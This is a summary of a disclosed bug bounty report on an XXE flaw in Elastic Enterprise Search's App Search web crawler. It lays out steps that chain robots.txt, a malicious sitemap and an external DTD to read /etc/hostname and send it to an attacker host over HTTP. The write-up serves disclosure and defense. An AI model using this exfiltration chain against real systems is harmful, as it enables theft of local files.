# XXE in Enterprise Search's App Search web crawler

Enterprise Search App Search web crawler parses sitemap XML with XXE enabled, letting an attacker exfiltrate local files via a malicious robots.txt sitemap directive.

- Payout: hidden
- Severity: critical
- Program: Elastic
- Found by: dee-see
- Disclosed: 2021-04-29
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1156748
- Library page: https://bugbountylibrary.com/r/h1%3A1156748
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:critical tech:ruby technique:oob-exfil vuln:xxe

**Target:** App Search web crawler sitemap parser
**Root cause:** The crawler's sitemap XML parser resolves external entities and DTDs, so a sitemap referenced from robots.txt can define parameter entities that read local files and exfiltrate them over HTTP.
**Steps:**
1. Host attacker server returning `robots.txt` with `sitemap: /sitemap.xml`
2. Serve `/sitemap.xml` with a DOCTYPE defining `%dtd;` pointing to `/exfil.dtd`, then `%param1;` and `%exfil;`
3. Serve `/exfil.dtd` defining `%data SYSTEM "file:///etc/hostname"` and `%param1` building `%exfil` to `http://attacker/exfil?%data;`
4. In Enterprise Search create an App Search engine, open Web Crawler, set Domain URL to attacker host, click Start a Crawl
5. Observe attacker logs receiving `GET /exfil?<hostname>` confirming file read
**How found:** Researcher reviewed the documented sitemap-parsing feature of the web crawler and hypothesized the XML parser lacked external entity protection, then built a robots.txt+sitemap+DTD chain to confirm.
**Exploitation:** Attacker controls the crawled domain; the crawler fetches robots.txt, follows the sitemap directive, parses the malicious XML, resolves the external DTD, reads a local file into a parameter entity and issues an outbound HTTP request embedding the file contents in the query string. Limited to single-line files at time of report.
**Insight:** Crawler/indexer features that fetch and parse attacker-supplied XML (sitemaps, feeds, robots.txt directives) are prime XXE surfaces; chain robots.txt sitemap directives to reach the parser without direct upload.